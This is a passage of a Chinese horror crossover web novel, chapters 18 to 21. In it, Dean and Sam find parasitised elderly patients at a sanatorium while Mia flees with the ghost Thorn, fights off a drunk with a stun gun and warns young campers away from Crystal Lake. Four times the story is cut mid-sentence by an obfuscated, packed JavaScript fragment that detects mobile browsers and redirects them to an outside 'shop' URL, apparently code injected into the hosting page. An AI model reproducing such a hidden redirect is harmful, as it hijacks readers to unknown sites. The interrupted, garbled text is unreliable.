只见空地上的原本呆滞直立的老人正在一个接一个,像是断了线的风筝一样软倒在地,只短短一分钟,这场寂静诡异的“死亡”就结束了。他们双目紧闭的躺在地上,手里还紧握着纵火的作案工具,大部分胸口都没了起伏。 萨姆:“他们都死了?” “没死。” 迪恩快速检查了周围几个昏迷的老人:“但是比死亡更糟糕,他们的体内似乎有某种东西。你看这里……” 在哥哥的示意下,萨姆仔细查看了这些老人颈部的皮肤,当即发现那布满皱纹的皮肤下面正有什么东西在焦躁的游动着。他甚至在某个老人的眼角看见了一条蠕动的"黑色线头" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882742|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! “这是什么?!” “不知道,反正肯定不是眼屎。” 迪恩拍了几张照片打算发给驱魔师协会问问情况,结果却发现没有信号。他挑了挑眉将手机塞回了口袋,转而让萨姆去车上拿另一个卫星电话,这类东西出现的时候往往会改变磁场,信号不好是常事。 将这里有大量老人需要救助的消息传出去后,迪恩嘀咕了一句:“加入驱魔师协会也就这点好处了。” “恶灵一般都怕火,那东西应该不在这里面。” 萨姆视线扫过周围几栋没着火的建筑,迪恩明白他的意思,兄弟俩一拍即合,立刻带着武器走进了其中一栋楼。 浓烟呛得人难受,他们分头行动,用最快的速度搜查着每一栋没着火的建筑,结果一直没有看见恶灵的影子。倒是住院部大楼的护士值班室找到了一份仓促的遗书,又在一个空荡的病房找到了一本日记。 两人找到的正是疯老头藏起来的日记,里面详细记载了希金斯家族的覆灭,恶灵的诞生,疗养院和权贵们暗中的勾当。结合那份遗书,一个丑恶的真相被拼凑了出来。 萨姆厌恶的放下护士的遗书,只觉得这些人完全是咎由自取,不值得同情。 迪恩很同情那位索恩·希金斯的遭遇,但他更清楚怨恨、死亡以及冰冷的墓土会将恶灵和人类分隔成了两种截然不同的物种。无论索恩生前如何,当他变成恶灵后就只剩下残忍的杀戮了。 他们必须尽快找到并消灭那只恶灵,否则他早晚会滥杀无辜。 不过迪恩很快就在该如何杀死恶灵这件事上犯起了难,之前他们遇到恶灵都是先查出恶灵的身份,找到恶灵的尸骨,最后撒盐、浇油、焚烧这三步来彻底消灭恶灵。 但这次的恶灵却非常特殊,让他难以下手。 “正常人根本不可能被照得只剩下极少的灰烬,这个死亡方式本身就很不对劲,看来这个索恩生前就不是什么普通人……骨灰可以克制他,但从今天的情况来看,这一招应该是失效了……我们要怎么做?把那些骨灰收集起来再烧一遍?” 迪恩再次翻看起疯老头的日记,就在他和萨姆试图找到那个恶灵更多情报的时候,门外忽然传来一道极轻的脚步声,顿时引起了他们的警觉。 两人手握武器,一个迅速打开门,另一个木仓口迅速对准门外,正对上一双惊恐仓皇的眼睛。 穿着睡袍的沃特金斯太太颤抖的举起双手: “别杀我!” 18.第 18 章 “活人?” 迪恩诧异的和萨姆对视一眼,迅速出声安抚这位老奶奶的情绪,并询问这座疗养院到底发生了什么。 沃特金斯太太精神恍惚,语无伦次的开口。 “我不知道,今天下了暴雨,天太黑了,我就开了灯待在房间里……我听到了尖叫……然后灯灭了,不只是我的……我从窗户往外看,所有建筑的灯都灭了……” “然后是更多的尖叫声……我吓得躲在房间不敢出来,然后门打开了,米娅进来和我告别,她说她要和哥哥离开这了,希望我能和她一起离开……我以为是亨利院长,但不是……她说她的哥哥叫索恩……接着我就看见……看见……” 她握紧迪恩的手,声音尖利:“那不是人,那是个怪物,一个浑身漆黑,头颅顶到了天花板的怪物!他在看着我!他在我脑子里说话!” 迪恩的手被掐得生疼,他倒吸一口凉气,偷偷对着萨姆调侃:“这位女士的力气比你都大。” 萨姆没空理他,眼看沃特金斯太太面色苍白,呼吸不断,一副呼吸性碱中毒的模样,他赶忙找来袋子罩住她的口鼻,指导她调节呼吸。 过了许久,沃特金斯太太的面色才恢复了些许红润,但她的眼神依然残留着三分恐惧。 “他在你脑子里说了什么。” “他说……我才是她的哥哥。我可以向上帝发誓,那道可怕的声音是直接出现在我的脑子里的,那绝对是地狱的魔鬼才能发出来的声音!” 沃特金斯太太这次紧握住了萨姆的手,声音颤抖。 “我吓坏了,躲进了卧室里。等我再出来的时候,米娅和那个怪物已经不见了。所有人都不见了,这栋楼从未这么安静过,接着水疗中心那边就出现了大火和浓烟,我想跑,结果就撞上了你们……” “我不知道到底发生了什么,但是这一切一定和那个怪物有关。” “亨利院长才是米娅的亲哥哥,他们兄妹的关系非常亲密,米娅不可能会弄错自己的哥哥,一定是那个怪物搞的鬼,他用邪恶的力量蛊惑了米娅,让她忘记了亨利院长,反把他当成了自己的哥哥。” “所有被魔鬼蛊惑并带走的人都不会有好下场的,那个可怜的孩子现在很危险,我们得赶紧报警找到那个孩子!” “恶灵已经离开了?还带走了一个女孩?” 迪恩和萨姆对视一眼,异口同声道:“是刚刚的那辆车!” “刚刚那辆车的车窗黑漆漆的,我还以为是防窥膜。该死,我们竟然就这么错过了!” 迪恩立刻快步走向窗户,可惜因为角度问题,从这里根本看不见山下那条公路的情况,而且时间已经过去这么久了。他们就算想追也追不上了。 萨姆皱眉:“你还记得车牌号吗?” 迪恩耸耸肩:“不记得,我只记得那是一辆黑色宾利,完全比不上我的宝贝。” 他的黑色雪佛兰才是最棒的。 半个小时后,住院部顶楼的套间卧室内,趴在地上的萨姆缓缓起身,将刚从柜子底下扒拉出来的照片递给哥哥迪恩。 明亮的灯光下,黑发绿眸的年轻女孩站在尖顶的瞭望塔上,目光忧郁的看着远方。 萨姆:“沃特金斯太太先是说灯光全部熄灭后,她什么都看不见了,之后却又说自己在一片黑暗中清楚的看见了那个漆黑的怪物。这点前后矛盾了。” 迪恩仔细查看照片:“问题应该出在那个恶灵身上,他故意让她看见了。配上他在她脑中说的那句话……这看起来像是一个恐吓。” 萨姆不解:“但他为什么要恐吓沃特金斯太太?” “也许是因为他并不想带上她,从那句恐吓的话语来看,恶灵似乎对这位米娅小姐有着一种奇怪的占有欲。” 迪恩将照片夹在日记本里打算一起带走:“我们到现在为止只看见了疗养院的病人,却没有看见任何一个工作人员。这显然是一场复仇,那些工作人员凶多吉少。” “米娅作为院长的亲妹妹,本该也是恶灵的报复对象。但恶灵却没有伤害她,反而还和她成了……兄妹?这实在太奇怪了。” “还有沃特金斯太太提到过她的眼睛之前并无问题,是这两天突然失明的。你觉得这会是因为什么呢?” 萨姆沉思:“你是说米娅的失明很可能是恶灵做的?恶灵为什么要这么做?又为什么独独带走了她?” “也许恶灵只是想拥有一个亲密的兄弟姐妹?” 迪恩朝萨姆眨眨眼:“就像我拥有可爱的小萨姆一样。” 萨姆板着脸转身离开,没有理会哥哥的调侃。 “她现在很危险,我们必须快点追上那辆车。” 迪恩跟上:“我知道你很急,但是在此之前,我们必须去一个地方。” 他们在疗养院四处寻找,终于找到了护士遗书中说的地窖入口,破坏掉坚硬的铜锁之后,残留的浓烟扑鼻而来。呛得两人咳嗽连连,在外面等了许久才抬脚走了进去。 他们穿过弯曲狭窄的通道,很快就到了一处藏有地下湖的地下溶洞,这里到处都是被烟熏火燎过的痕迹,从那些废墟中依稀能够辨认出一些货架、桌椅、碎玻璃片的痕迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885900|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股浓郁的恶臭充斥着这里的每一寸空间,甚至盖过了那残留的烟味。迪恩和萨姆干呕了几声,一转头就见下方的地下湖飘着满满一层浮尸。 人类的尸体似乎遭过凶残的撕咬,伤口被泡得惨白,深可见骨。而大量肥硕滑腻的丑陋鳗鱼或是蜷缩在这些尸骨中,或是翻着肚皮僵直的飘在水面。 迪恩和萨姆看着那些尸体的白大褂和护士服,当即意识到那些失踪的工作人员恐怕都在这了。迪恩对着萨姆打了个手势,两人屏住呼吸快步离开,回到林间后才敢大口呼吸。 萨姆:“看来那些大火并不是为了伤人,而是为了焚毁资料。但是恶灵什么时候有这么高尚的情操了?” “谁知道呢。不过这总归是好事,我们也可以省省力气。” 迪恩:“现在……我们可以去追那辆车了。” * 黑色宾利在森林公路上疾驰,车内一片漆黑,米娅安静的坐在副驾驶上,手中紧握着一个小包。 亨利作为一个两百岁的老怪物,一直非常尊重现代社会的规则,他每隔几年就会带着米娅搬家,换个身份继续生活。 几年前他带着大批人手回到了故土建造疗养院,自然也为他和米娅准备了新的身份,而米娅的身份证件一直在亨利手里。 离开疗养院之前,米娅特地请索恩帮她拿回了自己的身份证件,还搜刮了很多现金。 值得一提的是证件上的她并不叫米娅·沃莫尔,而是米娅·诺瓦克。这显然是亨利为了日后迎娶她所做的打算。 另外还有一份遗嘱和证件放在一起,因为米娅现在是个柔弱无助的“盲人”,所以内容都是由索恩口述给她的。简单来说就是她是一位诺瓦克老富豪收养的养女,对方死后把全部身家都给了她。 米娅稍微一想就明白了经过,疗养院的地下水是有毒的,正是这些水造就了变异鳗鱼的特殊,普通人喝下这些水不仅会被鳗鱼幼苗寄生,还会出现脱水、痴呆、幻觉等症状。 她之前吃的“维生素片”其实就是解毒剂和驱虫剂,而疗养院的工作人员对于这些症状心知肚明,甚至还会借此洗脑老人,掌控他们的思想。在榨干他们身体的同时还会榨干他们的财富。 所谓的收养和遗嘱显然也是疗养院“吃人”的一环,遗嘱上的财富绝对已经被疗养院挪用了。米娅不指望能从这上面得到什么好处,只希望能彻底和沃莫尔疗养院划清界限,在这个世界开始新的生活。 想到这,她将小手提包握得更紧了,钱有了,证件有了。她已经走完了九十九步,只剩下最后一步——摆脱索恩。 19.第 19 章 米娅心念一动,黑暗的视野下方多了一个猩红的心脏图标。 不知为什么,在她给了亨利一针后,充能进度直接上涨了一大截。而在她让索恩毁掉所有的生命精华和相关的实验资料后,充能更是猛地一跳达到了百分之百。这说明她可以再一次使用技能了。 再对索恩使用一次技能? 这个念头刚刚闪过就被米娅否决了,经过这么多天的思考,她的心里已经隐隐有了一个猜测,那天的技能确实命定成功了,但现实世界和游戏终究是不同的。 技能的力量可以让索恩减少对她的杀意,一而再再而三的放过她。却无法彻底控制他,让他对她言听计从,所以再用一次技能纯属浪费,她必须想点别的办法。 米娅沉浸在自己的世界里,浑然不知车内的黑暗正好似海底的暗流涌动,丝丝缕缕的流淌过她的颈窝,穿过她的指缝,最后缠绕上她的发尾、手腕、脚踝。 那庞大的黑暗像是要把她整个吞噬,却又舍不得一下子吃光,只能以最克制的姿态将那逸散出来的气味分子全部捕食殆尽。然而它们越是极力克制,反而越显贪婪。 而一个精美的玻璃罐正放在驾驶室的前方,随着车辆的行驶微微晃动,翠绿色的凤尾蝶趴在罐子底部吸食着浅浅的蜜水。 “离开疗养院后,你想做什么?” 索恩低哑的声音忽然响起,沉思的米娅被这突兀的声音吓了一跳,还以为自己的盘算被发现了,沉思了几秒才斟酌着开口。 “我也不知道,大概就像是其他普通人一样生活吧,先找个地方安定下来,然后再去找个稳定的工作赚钱。在保证自己温饱的情况下偶尔出去旅游,品尝各地的美食,欣赏不同的风景。” 索恩注意到米娅诉说的未来里并没有提及他,丝丝缕缕的黑暗躁动的收紧。他语气轻柔道:“不用工作,有我在,你想要多少钱就有多少钱。” 米娅说着违心的话:“但是我更喜欢通过自己的劳动挣钱。这样会更踏实,更有成就感。我知道你是为了我好,但是亨利以前也总是打着为了我好的幌子总是逼我做一些我不喜欢的事,哥哥,你不会这么对我的,对吧?” 米娅那明显区别对待的称呼抚平了车内无形的焦躁,索恩当即嗯了一声。 米娅露出满意的笑容:“哥哥,我们现在要去哪?” 索恩:“你想去哪?” 米娅:“亨利有意把我和外界隔离开,外面的一切对我来说都很陌生,我也不知道该去哪。不过我比较倾向于那种宁静祥和的小城镇。到时候我们可以买一栋小别墅,前面最好有个小花园,种上很多花,最好每个季节都有花开。” 索恩低低的应了一声:“好。” “后院要更大一些,你觉得是种果树好,还是挖个游泳池比较好?” “都好。” “游泳池可不好打理,而且果子和叶子掉进游泳池很快就会腐烂发臭,那就更不好打理了。” “我会处理好的。” “客厅里要有零食柜和最大最软的沙发,想怎么躺就怎么躺,浴室也要有个大浴缸,可以洗泡泡浴的那种。卧室倒是可以小一点,之前的那个卧室太空旷了,没有安全感,我睡觉的时候总感觉周围有人在盯着我。” “……好。” 车子越开越远,很快就将疗养院彻底甩在了后面,车内米娅兴致勃勃的描绘出一个温馨美好的未来,想要彻底攻破怪物的心防。 殊不知驾驶位上,那道漆黑人影的上半身正以一种诡异的角度转向她,接着他上半身前倾,漆黑的头颅距离米娅的鼻尖只有几厘米之遥,紧盯着她一张一合的双唇。 周围再次躁动起来的漆黑暗影好似无数条细蛇爬过她的肌肤,贪婪的捕捉着她的温度,她的气味,她的一切。 这是他的妹妹,他唯一的家人…… 米娅忽然感觉有些冷,她不知不觉闭上了嘴,车内骤然安静下来,安静得让她有些忐忑不安。 怎么回事?好像有哪里不对劲? 她还没想出哪里不对劲,耳边就传来了索恩低低的声音。 “我可以在花园里种一丛洋甘菊吗?” “当然可以。” 米娅故作好奇:“你很喜欢洋甘菊吗?” “喜欢。” 索恩的声音更低了,好似一缕凉风拂过米娅的耳廓:“它闻起来很暖和,让我总想起金灿灿的阳光。” 米娅狐疑:阳光?那不该是索恩最讨厌的东西吗? * 夜色渐浓,公路两边原始森林逐渐被稀疏斑秃的荒山给取代,更显荒芜苍凉。一家老旧的汽车旅馆就开在公路的边上,不远处还立着一个锈迹斑斑的指路牌,距离最近的小镇还有十几公里。 黑色的宾利停在汽车旅馆前的空地上,车内弥漫的黑暗已经消失。索恩去订房间和准备晚餐了。 他并没有拿钱,作为一个潜伏在黑暗中的怪物,他也不可能用常规的手段去办成这两件事。不过米娅既没有提醒,也没有询问,她并不关心房间和晚餐的事。索恩刚走不久,她就扭头“看”向了驾驶位。 但只思考了一秒她就又放弃了直接开车跑路的念头,这个逃跑方式太过粗糙,只对部分普通人有效,却绝对甩不开一个拥有强大力量的怪物。 索恩肯定很快就会追上来。他或许不会杀她,但依照他记仇的性格和冷酷诡谲的手段,一旦她被他抓住,那么她绝不会再有第二次逃跑的机会。 米娅叹了口气,摸索着走下了车,想要活络一下筋骨。 前方传来车辆靠近的声音,破旧的发动机发出“吭哧吭哧”的喘息声,接着是车前灯照在了她的身上,她这一整天几乎都在黑暗中度过,所以哪怕隔着医用眼罩,她还是觉得这光有些刺眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895102|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过这是好事,说明她的眼睛已经完全恢复。只要摘下这虚伪的医用眼罩,她就能再次看见这个真实的世界。但现在还不行,机会只有一次,她必须耐心等待时机。 她往后靠了靠,伸了个懒腰。 新来的破旧皮卡停在了不远处,一个满脸络腮胡的中年男人走了下来,他浑身酒气,脸和脖子红成一片,驾驶座位的下边满是空的酒瓶和啤酒罐。 一个酒瓶随着他的滚落下车。他毫不在意的一脚踹开,正要往汽车旅馆去。但视线很快就被不远处的黑色宾利和年轻女孩吸引住了。 昏黄的路灯下,年轻女孩静静的靠在车门边,穿着淡蓝的棉麻长裙,脸上戴着纯白的医用眼罩,脖子上也被纯白的纱布包扎着,黑色的发丝随着夜风飘动,带着一抹静谧的气息。 络腮胡眼睛一亮,当即吹了个轻佻的口哨,脚步虚浮的走了过去。 “女孩,一个人吗?夜里这么冷,要不要和我一起去做一点快乐的事。” 他猥琐的笑了笑:“保证……嗝,保证能让你非常非常的快乐。” 随着他打嗝,一股恶臭的酒气顿时弥漫开来。 米娅最开始还没反应过来发生了什么,等到他话说完了才反应过来,她厌恶往旁边退了两步:“滚!” 说完这话,她就准备回到车内,不想和这种混不吝的醉汉多纠缠。络腮胡却粗鲁的抬手,砰的将车门拍得关上,不让米娅回车上。 他完全不在意米娅的厌恶,依然在猥琐的笑着,一边说着污言秽语,一边还试图去抓米娅的手腕,反正这只是一个瞎子,就算被他占了便宜,她也不知道是谁。 然而就在他说废话的瞬间,米娅已经从口袋里掏出了一个巴掌大的电击器,狠狠往前一刺。 “啊啊啊!” 电击器正中络腮胡满是汗毛的手臂,强劲的电流电得那块皮肤迅速焦化,剧痛逼得他惨叫出声,脚下不稳直接倒在了地上。 米娅当即蹲下,抬手再次狠狠刺了下去。虽然她看不见,但这么近的距离根本不允许她失手。 “啊啊啊!” 络腮胡的惨叫再次响起,在寂静的黑夜里显得十分渗人,但是米娅却在他挣扎抽搐的时候再次按动开关,面无表情的脸上透着一丝冰冷的戾气。 “傻叉,怎么不说话了?不是要快乐吗?现在够不够快乐?够不够?如果不够的话,我车上还有一根充满电的电棍,可以直接塞进你的菊花里,让你快乐个够。” 她的话语里并没有太多的情绪波动,却透着别样的狠厉。那是亨利、索恩以及沃特金斯太太都从未见过的另一面。 络腮胡几乎要痛晕过去,不敢相信这个看上去安静、病弱的年轻女孩,竟然会突然下次狠手,说话更是和街头女混混一样粗俗下流。 他猜错了,这并不是什么好欺负的餐后甜点,而是一个心肠狠毒的狠角色! 20.第 20 章 米娅没想要杀人,在给了络腮胡一个深刻的教训后就罢手了。站起身后还踢了瘫软的络腮胡一脚,让他赶紧滚蛋。 络腮胡浑身又痛又麻,躺在地上缓了片刻才踉跄着爬起来。但他没有立刻离开,反而是暴怒的朝着米娅扑过去。 米娅没想到他竟然还敢动手,当即再次握紧了电击器,就在这时,远处又是一辆车行驶过来,一道呵斥紧随而至。 “喂!你在干什么?!” “你想对那个漂亮女孩做什么,放着我来!” “丘伊,别说傻话!” 亮白的远光灯直接照在了络腮胡的脸上,逼得他立刻捂住眼睛,想要避开这刺目的光线,结果不小心踩中之前掉落的酒瓶,顿时摔了个狗吃屎,鼻血直流。 车上的几个年轻人立刻大笑起来,一边吹口哨,一边竖中指。极尽嘲讽之能。 接着这辆车停了下来,名为珍娜的棕发女孩第一个下车,面色担忧的走过去。 “嗨,你还好吗?” 其余六人也跟着下车,围住了络腮胡,络腮胡捂着血红的鼻子站起来,一看对方人多势众,当即愤怒的为自己辩解。 “是她先攻击的我!” “我没有,是他在骚扰我。” 米娅早就将电击器塞回了口袋,抬手摸了摸医用眼罩,语气柔弱又悲伤:“我只是一个可怜的盲人,能对他做些什么呢?” 珍娜愤怒的挡在米娅身前:“你竟然连盲人都不放过,简直比魔鬼还恶毒,赶紧滚开,否则我们就要报警了!” 名为丘伊的年轻男孩也举起拳头,表示如果络腮胡再不走,那他们就让络腮胡尝尝拳头的厉害。 络腮胡:?!!! “你……你……fuck!” 他瞪大了眼睛指着米娅半天说不出话来,他从未见过如此厚颜无耻之人! 米娅很清楚络腮胡的内心想法,无非就是震惊她的虚伪和变脸速度罢了。 没办法,谁让她从小爹不疼娘不爱,还有一群讨厌她的弟弟妹妹呢,在这种环境下做人总要灵活多变一点才能过得更好。 珍娜等人都站在米娅这边,络腮胡不敢硬碰硬,只能愤恨的快速离开。 珍娜转身搀扶住米娅,询问她有没有受伤。 米娅摇摇头,表示自己没事,并谢过了几人的好心帮助。 丘伊一个丝滑的箭步冲上前,靠在黑色宾利的车前盖上摆了个耍帅的姿势。 “不用客气,我平日最爱做的就是英雄救美了。” 这个青春期躁动的大男孩抛了个媚眼:“这车看起来真不错,这是你的车吗?你一个人开车来的?” 米娅:…… 她摸了摸自己的医用眼罩,一时沉默无言。就算是自由的漂亮国,盲人开车也是违法的吧? 其余人受不了他的愚蠢,切尔西翻了个白眼,走过去一把推开挡路丘伊:“你眼睛瞎了吗?她的眼睛一看就是生病了,怎么可能开车!” 她说完才意识到自己的话有歧义,话音一顿,对着米娅道:“抱歉,我没有说你的意思。” 米娅摇头:“没关系,我不在意这些。” 丘伊一计不成,又拿出手机想要加个联系方式,不耐烦的崔特见状直接勾住脖子强行带走。 “好了,别磨蹭了,快点去旅馆订房间休息吧,我困死了。” “等等,我还没加上联系方式呢!” “有什么好加的,我们现在最重要的事是去度假,其他的一概靠后。” “你已经有珍娜了,夜夜春宵,当然无所谓,但我还单着……” 两人渐行渐远,切尔西几人抬脚跟上,珍娜最后一个离开,走之前还不放心的又问了米娅一句,是否要和他们一起进旅店。以免那个醉汉再来骚扰她。 米娅谢绝了珍娜的好意:“我是和哥哥一起来的,他去给我买晚餐了,很快就会回来。” 珍娜本也只是好心提醒一句,闻言也没有强求,和米娅告别后,当即快走几步追上同伴。 一伙人嬉嬉笑笑的往汽车旅馆走,叽叽喳喳的讨论声随着风传入米娅的耳朵。 “……别墅度假……水晶湖,这个名字真美,一听就知道肯定很漂亮……” “……我已经等不及了,还有多久才能到……” “……都怪丘伊,不会修车……乱碰……害得我们耽误了时间,否则……早就到了……” “……好了……少说……我们……今晚早点睡,明天……走,很快……到地方……” 米娅本想回车上待着,闻言动作一顿,敏锐的抓住了关键词。 水晶湖?是她认识的那个水晶湖吗?这可不兴去啊! 这个念头一闪而过,米娅几乎是脱口而出:“等等!” 珍娜是个很热心的女孩,闻言立刻停住脚步,转而朝米娅走过去,而其他人见状也停下了脚步。 丘伊还以为黑发女孩是有意要和他互加联系方式,立刻开心的要过去,崔特冷哼一声,勾住丘伊脖子的手臂故意用力,顿时把丘伊勒得挥手求救。 “救命,崔特疯了,他嫉妒我有艳遇,想要勒死我!” 珍娜没理会丘伊的日常耍宝,疑惑的询问米娅:“怎么了?” 米娅: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900372|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我刚刚听到你们要去水晶湖?” 珍娜迟疑了一下,还是实话实说:“是的,我们正准备去那的别墅度假。” 水晶湖……一群年轻人……别墅度假…… 几个关键词出现的瞬间,米娅的脑海中迅速闪过好几个片断画面,出现争执的便利店,湖中嬉闹的男女,断电的别墅,血腥的肢体,以及……戴着曲棍球面具的杀人魔杰森! 米娅愣了一下,这个恐怖片是她几年前看过的,本以为那些细节早忘光了,结果脑海中浮现的这几个片断画面意外清晰,就像是她又坐在电影院重新看了一遍一样,她的记忆力什么时候这么好了? 她又开始回想除了这几个片段以外的剧情,然而这次回忆出的记忆清晰度却断崖式的下跌,只能模糊的记起一些剧情走向,完全记不清具体画面。 这才是她正常的记忆水平,所以刚才那几个一闪而过的片段是怎么回事? 米娅敏锐的察觉到这种情况不对劲,但现在不是思考这些的时候,她试探的询问:“可以告诉我,你的名字吗?” 珍娜迟疑道:“呃……你可以叫我珍娜?” 米娅呼吸一促:“你的男友是不是叫崔特?你们要去的是崔特家的别墅?” 珍娜下意识回头,正对上同伴们古怪的视线,原本闹腾的丘伊也停了下来,狐疑的看向那个黑发女孩。 几人刚才谈话并没有收敛音量,所以他们并不奇怪她知道珍娜和崔特的关系,可她为什么会知道那是崔特家的别墅?他们刚刚可绝对没有提过这事! 在一片寂静之中,米娅已经得到了自己想要的答案,这些人要去的水晶湖就是她认识的那个水晶湖,她确实穿进了一个融合了多部恐怖片的世界。 珍娜:“你怎么知道的?” 米娅:“我看见的。” 电影院超大银幕,纵享丝滑,一边吃着爆米花,一边喝着可乐,看得清清楚楚。 气氛开始变得古怪,崔特有些恼怒道:“你当我们是傻瓜吗?你从哪能看见这种事?更何况你都这样了,还能看见什么?” 米娅决定撒个善意的谎言:“我的眼睛和常人的不一样,可以看见很多常人看不见的东西。” “酷!” 丘伊兴致勃勃道:“你是什么?魔法师?灵媒?女巫?你还看见了什么?” 其余人也或是狐疑或是好奇的看过去,想要看看这个古怪的黑发女孩还能说出些什么,谁知对方的下一句话顿时让他们皱起了眉头。 “我看见了你们的死亡。” 米娅一字一顿道:“别去水晶湖,那是个不祥之地。” 21.第 21 章 “装神弄鬼。” 崔特讥讽道:“既然你能看见未来,刚刚为什么还会被一个醉汉欺负?” 米娅闻言沉默下来,崔特见状当即抱胸嗤笑,嘲讽她过于愚蠢,装神弄鬼也不装得像一点,几句话就露出了马脚,真是没有意思。 而米娅张口就咒人死的行为也让丘伊几人对她失去了好感,见状跟着哈哈笑了两声。 珍娜对于黑发女孩的表现也有些失望,不过她没有跟着嘲笑,只是走过去拽了拽崔特的袖子。 “别说了,快点去旅馆休息吧,我也累了。” 崔特不太满意女友维护外人的做法,但也只是冷哼一声就走了,其余人也跟着转身。然而米娅一句轻飘飘的话语却再次将他们钉在了原地。 “崔特之后会在水晶湖边和一个有着金色大波浪的女孩发生不正当关系,他们之前私下里一直保持着这种关系。” 其余几人齐刷刷的转头看向崔特和布蕾,他们之中只有布蕾是金发大波浪! 崔特惊愕的看向米娅,回过神后面色开始变得不自然,大声反驳。 “我才没有,你们别听她瞎说,珍娜才是我的最爱,我怎么可能看得上布蕾,她长得根本不是我的菜!” 这番毫不客气的拉踩顿时让布蕾的面色变得难看起来,尖叫着举着小包包砸向崔特:“崔特,你混蛋!” 珍娜本来并不相信米娅的话,此刻看他们的眼神也开始变了,丘伊等人则是快速上前,一边劝阻,一边拉开布蕾和崔特两人。 崔特恨恨的瞪了米娅一眼,随后对珍娜道:“你们不会就这么相信那个疯婆子的话吧?她都是瞎说的,我和布蕾真的什么都没有。” 布蕾发泄过后也意识到事情的严重性,一边整理自己的头发,一边表示自己同样看不上崔特,他也不是她的菜! “我可是你的男朋友,你不相信我,难道还要相信一个陌生的疯婆子。” “对啊,珍娜,我和你可是最要好的朋友,难道你不相信我吗?” “这种假装灵媒的骗子一向喜欢吓唬人,人一慌乱就容易失去理智,她就能骗到钱了。她的眼睛肯定没问题,那个眼罩也另有玄机可以直接看得见我们,她在利用这种小手段来耍我们!” 一边是萍水相逢的古怪陌生人,一边是朝夕相处的男友和朋友,再加上米娅说的话确实没有什么凭据,所以珍娜等人心中的一丝动摇很快消失。 “好吧,如果这还不足以取信你们,那就算了。” 米娅没有过多纠缠,只是说了最后一句。 “不过我有一个请求,如果你们之后遇到一个正在寻找失踪妹妹的男人,请告诉他,他的妹妹正被杰森关在水晶湖附近的一处地下洞穴里。救下她后务必立刻离开水晶湖,跑得越远越好。” “还在装,你该庆幸我不打女人。” 崔特冷笑一声,拉着珍娜转身就走,一行人很快就进了那家老旧的汽车旅馆。 米娅对此并不在意,他们刚才帮了她,她提醒几句算是还了人情,至于他们信不信……那就是他们的事了。她现在更想知道脑海中那几段清晰的画面是怎么回事。 就在米娅沉思的时候,昏黄的路灯忽然熄灭,周围暗了下来。 她下意识抬头,似乎嗅到了一丝极淡的血腥味,但当她再去细究的时候,却又寻不到了。 “……哥哥?” “嗯。” “你什么时候回来的?” “刚刚。” 漆黑的人影垂头看向米娅的右臂,那里残留着那个陌生女人的香水味,黑暗涌动,丝丝缕缕的黑雾缠绕上米娅的身体,将那多余的气味彻底清除。 米娅并不知道索恩暗中的动作,她只感觉到一只骨节分明的大手牵住了她的手,冰凉的手指强硬的挤进她的指缝,和她十指相扣,密不可分。 一种比夜风更黏稠的冷意笼罩住她的全身,让她的思绪也不由被黑暗占据,只能被动的跟着黑暗的引导而去。 “晚餐已经放在房间了,跟我来。” 漆黑的人影牵着米娅走进了那家汽车旅馆,所过之处的灯光一道接一道的熄灭,黑暗笼罩所有。被催眠的前台和清洁人员呆呆的站在原地,像是一尊尊苍白的雕像。 * 三楼房间内。 米娅坐在桌前,桌上已经摆好了热腾腾的番茄意面、薯条、芝士蛋挞以及一杯冒泡的可乐。 这些都是她之前要求的,疗养院里没有低廉的快餐,亨利也不允许她吃汉堡可乐这些垃圾食品,说这不符合贵族身份。 如今她终于逃出了疗养院,打算大吃一顿犒劳自己。 然而就在她伸手准备用餐的时候,抬起的手却被另一只冰凉的大手按了下去。 “我来喂你。” “不用了,我可以……”自己用餐。 米娅刚想谢绝,可是话还没说完,香甜温热的番茄意面就抵住了她的唇。 她不明白索恩这又是什么操作,迟疑了片刻,最终还是张嘴吃下了这一叉子意面。 结果她这边刚嚼嚼嚼吞咽下去,又一叉子意面立刻送到,为她没什么血色的唇抹上了一层油润的光泽 